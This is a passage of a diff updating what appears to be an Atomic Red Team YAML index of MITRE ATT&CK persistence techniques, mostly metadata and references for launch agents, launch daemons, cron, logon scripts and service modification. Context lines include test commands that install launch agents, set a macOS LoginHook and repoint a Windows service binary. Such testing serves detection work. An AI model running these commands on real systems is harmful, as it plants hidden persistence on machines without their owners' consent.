indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1183 atomic_tests: - name: IFEO Add Debugger @@ -1640,13 +1703,15 @@ persistence: ' T1159: technique: + id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launch Agent description: "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) - (Citation: Antiquated Mac Malware). These launch agents have property list + (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the @@ -1657,66 +1722,64 @@ persistence: when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires - administrator privileges).\n\nDetection: Monitor Launch Agent creation through - additional plist files and utilities such as Objective-See’s KnockKnock application. - Launch Agents also require files on disk for persistence which can also be - monitored via other file monitoring applications.\n\nPlatforms: macOS\n\nData - Sources: File monitoring, Process Monitoring\n\nPermissions Required: User, - Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + administrator privileges)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1159 + - external_id: T1159 + url: https://attack.mitre.org/techniques/T1159 source_name: mitre-attack - external_id: T1159 - - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated - code. Retrieved July 5, 2017. - source_name: Antiquated Mac Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. source_name: AppleDocs Launch Agent Daemons - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. source_name: OSX Keydnap malware - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical - OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - source_name: OSX Malware Detection - url: https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf - - description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web + - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + source_name: Antiquated Mac Malware + - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ + description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. source_name: OSX.Dok Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - - description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application - Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. - source_name: OceanLotus for OS X - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + source_name: Methods of Mac Malware Persistence + - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + source_name: OSX Malware Detection + - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. + source_name: OceanLotus for OS X object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring + x_mitre_detection: Monitor Launch Agent creation through additional plist files + and utilities such as Objective-See’s KnockKnock application. Launch Agents + also require files on disk for persistence which can also be monitored via + other file monitoring applications. x_mitre_permissions_required: - User - Administrator - id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1159 atomic_tests: - name: Launch Agent @@ -1757,6 +1820,8 @@ persistence: 5. launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist T1160: technique: + id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launch Daemon description: "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the @@ -1774,52 +1839,49 @@ persistence: privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify - a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: - Monitor Launch Daemon creation through additional plist files and utilities - such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData - Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions - Required: Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + a current Launch Daemon’s executable and gain persistence or Privilege Escalation." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1160 + - external_id: T1160 + url: https://attack.mitre.org/techniques/T1160 source_name: mitre-attack - external_id: T1160 - - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. source_name: AppleDocs Launch Agent Daemons - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' source_name: OSX Malware Detection - url: https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf - - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.' source_name: WireLurker - url: https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - File monitoring + x_mitre_detection: Monitor Launch Daemon creation through additional plist files + and utilities such as Objective-See's Knock Knock application. x_mitre_effective_permissions: - root + x_mitre_platforms: + - macOS x_mitre_permissions_required: - Administrator - id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1160 atomic_tests: - name: Launch Daemon @@ -1850,6 +1912,8 @@ persistence: T1152: technique: + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launchctl description: "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs @@ -1861,40 +1925,27 @@ persistence: \"arg\" \"arg\" \"arg\"
. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl - is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent - programs such as those installed via launchctl as launch agents or launch - daemons. Additionally, every launch agent or launch daemon must have a corresponding - plist file on disk somewhere which can be monitored. Monitor process execution - from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData - Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense - Bypassed: Application whitelisting, Process whitelisting, Whitelisting by - file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: - No" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence + is an allowed process." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1152 + - external_id: T1152 + url: https://attack.mitre.org/techniques/T1152 source_name: mitre-attack - external_id: T1152 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -1902,10 +1953,19 @@ persistence: x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - macOS x_mitre_remote_support: false - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1152 atomic_tests: - name: Launchctl @@ -1921,88 +1981,84 @@ persistence: ' T1168: technique: + id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Local Job Scheduling description: |- - On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). + On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH). - ===cron=== + ### cron - System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems. + System-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems. Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account. - ===at=== - - The at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. - - ===launchd=== + ### at - Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. + The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes. - Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior. + ### launchd - Platforms: Linux, macOS - - Data Sources: File monitoring, Process Monitoring - - Permissions Required: Administrator, User, root - - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: execution + Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1168 + - external_id: T1168 + url: https://attack.mitre.org/techniques/T1168 source_name: mitre-attack - external_id: T1168 - - description: Apple. (n.d.). Retrieved July 17, 2017. + - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html + description: Apple. (n.d.). Retrieved July 17, 2017. source_name: AppleDocs Scheduling Timed Jobs - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html - - description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved + - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ + description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017. source_name: Janicab - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ - - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. source_name: Methods of Mac Malware Persistence - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - - description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. + - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. source_name: Malware Persistence on OS X - url: https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf - - description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December + - url: https://linux.die.net/man/5/crontab + description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017. source_name: Die.net Linux crontab Man Page - url: https://linux.die.net/man/5/crontab - - description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December + - url: https://linux.die.net/man/1/at + description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017. source_name: Die.net Linux at Man Page - url: https://linux.die.net/man/1/at - - description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan + - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ + description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018. source_name: Avast Linux Trojan Cron Persistence - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring + x_mitre_contributors: + - Anastasios Pingios + x_mitre_detection: Legitimate scheduled jobs may be created during installation + of new software or through administration functions. Jobs scheduled with launchd + and cron can be monitored from their respective utilities to list out detailed + information about the jobs. Monitor process execution resulting from launchd + and cron tasks to look for unusual or unknown applications and behavior. + x_mitre_platforms: + - Linux + - macOS x_mitre_permissions_required: - Administrator - User - root - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1168 atomic_tests: - name: Cron Job @@ -2075,57 +2131,56 @@ persistence: 3. sudo touch /private/var/db/emondClients/randomflag T1037: technique: + id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Logon Scripts description: |- - ===Windows=== + ### Windows Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. - ===Mac=== + ### Mac Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. - - Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. - - Platforms: macOS, Windows - - Data Sources: File monitoring, Process monitoring - - System Requirements: Write access to system or domain logon scripts - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: lateral-movement - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1037 + - external_id: T1037 + url: https://attack.mitre.org/techniques/T1037 source_name: mitre-attack - external_id: T1037 - - description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved + - external_id: CAPEC-564 + url: https://capec.mitre.org/data/definitions/564.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx + description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016. source_name: TechNet Logon Scripts - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx - - description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved + - url: https://support.apple.com/de-at/HT2420 + description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.' source_name: creating login hook - url: https://support.apple.com/de-at/HT2420 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:38.910Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring + x_mitre_detection: Monitor logon scripts for unusual access by abnormal users + or at abnormal times. Look for files added or modified by unusual accounts + outside of normal administration duties. + x_mitre_platforms: + - macOS + - Windows x_mitre_system_requirements: - Write access to system or domain logon scripts - id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: lateral-movement + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:38.910Z' identifier: T1037 atomic_tests: - name: Logon Scripts @@ -2162,76 +2217,73 @@ persistence: write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" T1031: technique: + id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Modify Existing Service - description: "Windows service configuration information, including the file - path to the service's executable or recovery programs/commands, is stored - in the Registry. Service configurations can be modified using utilities such - as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist - malware on a system by using system utilities or by using custom tools to - interact with the Windows API. Use of existing services is a type of Masquerading - that may make detection analysis more challenging. Modifying existing services - may interrupt their functionality or may enable services that are disabled - or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt - or kill services to execute malicious recovery programs/commands. (Citation: - Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb - 2013)\n\nDetection: Look for changes to service Registry entries that do not - correlate with known software, patch cycles, etc. Changes to the binary path - and the service startup type changed from manual or disabled to automatic, - if it does not typically do so, may be suspicious. Tools such as Sysinternals - Autoruns may also be used to detect system service changes that could be attempts - at persistence. (Citation: TechNet Autoruns) \n\nService information is stored - in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line - invocation of tools capable of modifying services may be unusual, depending - on how systems are typically used in a particular environment. Collect service - utility execution and service binary path arguments used for analysis. Service - binary paths may even be changed to execute cmd commands or scripts.\n\nLook - for abnormal process call trees from known services and for execution of other - commands that could relate to Discovery or other adversary techniques. Services - may also be modified through Windows system management tools such as Windows - Management Instrumentation and PowerShell, so additional logging may need - to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData - Sources: Windows Registry, File monitoring, Process command-line parameters, - Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: - Travis Smith, Tripwire, Matthew Demaske, Adaptforward" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + description: |- + Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). + + Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. + + Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1031 + - external_id: T1031 + url: https://attack.mitre.org/techniques/T1031 source_name: mitre-attack - external_id: T1031 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-551 + url: https://capec.mitre.org/data/definitions/551.html + source_name: capec + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. + - url: https://twitter.com/r0wdy_/status/936365549553991680 + description: The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. source_name: Twitter Service Recovery Nov 2017 - url: https://twitter.com/r0wdy%20/status/936365549553991680 - - description: Microsoft. (2013, February 22). Set up Recovery Actions to Take + - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) + description: Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018. source_name: Microsoft Service Recovery Feb 2013 - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:34.928Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Travis Smith, Tripwire + - Matthew Demaske, Adaptforward x_mitre_data_sources: - Windows Registry - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: "Look for changes to service Registry entries that do not + correlate with known software, patch cycles, etc. Changes to the binary path + and the service startup type changed from manual or disabled to automatic, + if it does not typically do so, may be suspicious. Tools such as Sysinternals + Autoruns may also be used to detect system service changes that could be attempts + at persistence. (Citation: TechNet Autoruns) \n\nService information is stored + in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line + invocation of tools capable of modifying services may be unusual, depending + on how systems are typically used in a particular environment. Collect service + utility execution and service binary path arguments used for analysis. Service + binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) + commands or scripts.\n\nLook for abnormal process call trees from known services + and for execution of other commands that could relate to Discovery or other + adversary techniques. Services may also be modified through Windows system + management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional + logging may need to be configured to gather the appropriate data." x_mitre_permissions_required: - Administrator - SYSTEM - x_mitre_contributors: - - Travis Smith, Tripwire - - Matthew Demaske, Adaptforward - id: attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:34.928Z' identifier: T1031 atomic_tests: - name: Modify Fax service to run PowerShell @@ -2248,6 +2300,8 @@ persistence: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" T1128: technique: + id: attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Netsh Helper DLL description: |- Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh. @@ -2255,56 +2309,48 @@ persistence: Adversaries can use netsh.exe with helper DLLs to 